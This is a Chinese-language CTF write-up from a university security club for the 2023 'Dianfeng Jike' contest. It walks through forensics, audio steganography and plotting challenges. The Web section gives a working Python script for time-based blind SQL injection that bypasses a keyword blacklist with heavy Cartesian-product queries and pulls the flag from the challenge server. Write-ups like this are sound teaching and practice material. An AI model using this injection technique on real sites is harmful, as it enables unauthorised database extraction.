Misc:welcome、foundme、song(考点:base64编码,Netflix的文件格式加内存取证,deepsound音频加密加弱密码加ape文件格式)
Crypto:数学但高中(考点:画图)
Web:helloSQL(考点:时间盲注,waf黑名单绕过)
线上初赛分为“综合理论赛”和“CTF夺旗赛”。“综合理论赛”采用知识答题模式,题目由单项选择、多项选择、对错判断等客观题组成;“CTF夺旗赛”采用夺旗模式,题目由漏洞利用、流量分析、渗透测试等操作题组成。
考点:base64编码
直接base64解码,得到flag
考点:Netflix的文件格式加内存取证
得到内存转储文件,直接foremost得到一堆文件,其中mp3无法播放并且与正常的文件源码不同,同时 strings关键字flag发现了hint
找与Netflix相关的文件,发现一个avif,同时使用010打开三个mp3发现都有关键字avif,直接大胆改后缀
找一个在线网站进行查看,发现了含有flag的png
考点:deepsound音频加密加弱密码加ape文件格式
得到一个文件,经过010查看以及分析,猜测是ape文件,直接改后缀为ape,使用网易云可以进行播放
因为题目名字,猜测是否是deepsound加密,导入deepsound,提示要密码,发现果然是。使用010直接搜索关键字flag,发现可以直接手撕一个zip包,分离后得到了一个password_hint txt,同时提示不要 爆破加密的flag.txt
猜测password_hint与deepsound解密的密码相关,hint中的内容是base套娃
猜测解密密码123456,得到password.txt
txt中是ook,直接在线解码
得到密码,直接解压flag.txt,得到flag
考点:画图
找个在线网站把图画出来看看
得到flag{Funct10n_Fun}
考点:时间盲注,waf黑名单绕过
helloSQL,时间盲注,经过测试
过滤了union,count,*,if,sleep,benchmark,pg_sleep
这个题目有两种思路一种是用get_lock加锁来进行时间盲注,一种是利用大量运行增长执行时间达到时间盲注。
这个题目我采用的是后者,直接用笛卡尔积进行大量运算
import requests
import string
import threading
import time
url = "http://web-5c84a005fe.challenge.xctf.org.cn/"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
flag = ""
for i in range(1, 100):
time.sleep(0.14)
low = 32
high = 127
mid = (low + high) // 2
while (low < high):
# payload = "1" and if(ascii(substr((select(database())),{},1))>{},sleep(1),1)#".format(i, mid)
# "?id=1" and if(ascii(substr(database(),1,1))>115,1,sleep(3))--+"
# payload = "' OR CASE WHEN ASCII(SUBSTR((SELECT(DATABASE())),1,1))>1 THEN (SELECT MAX(A.TABLE_NAME) FROM information_schema.columns A, information_schema.columns B) END#"
# payload = "' OR 1=1#"
# payload = "' OR CASE WHEN ASCII(SUBSTR((select(group_concat(schema_name))from(information_schema.schemata)),{},1))>{} THEN (SELECT MAX(A.TABLE_NAME) FROM information_schema.columns A, information_schema.columns B) END#".format(i, mid)
payload = "' OR CASE WHEN ASCII(SUBSTR((select(group_concat(Flagg))from(ctf.Flllag)),{},1))>{} THEN (SELECT MAX(A.TABLE_NAME) FROM information_schema.columns A, information_schema.columns B) END#".format(i, mid)
start_time = time.time()
r = requests.get(url=url, params={
"id": payload
}, headers=headers)
# r = requests.get(url + "?id=" + payload,headers=headers)
end_time = time.time()
# print(end_time-start_time)
if (end_time - start_time) >= 0.5:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32 or mid == 127:
break
print(i)
flag += chr(mid)
# print(i)
print("content:" + flag)
print("Finally:")
print(flag)
文案 | TeamGipsy
排版 | 王成丽
审核 |刘雪娇
原文始发于微信公众号(杭师大网安):2023“巅峰极客”高校网络安全技能竞赛 部分WriteUp
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论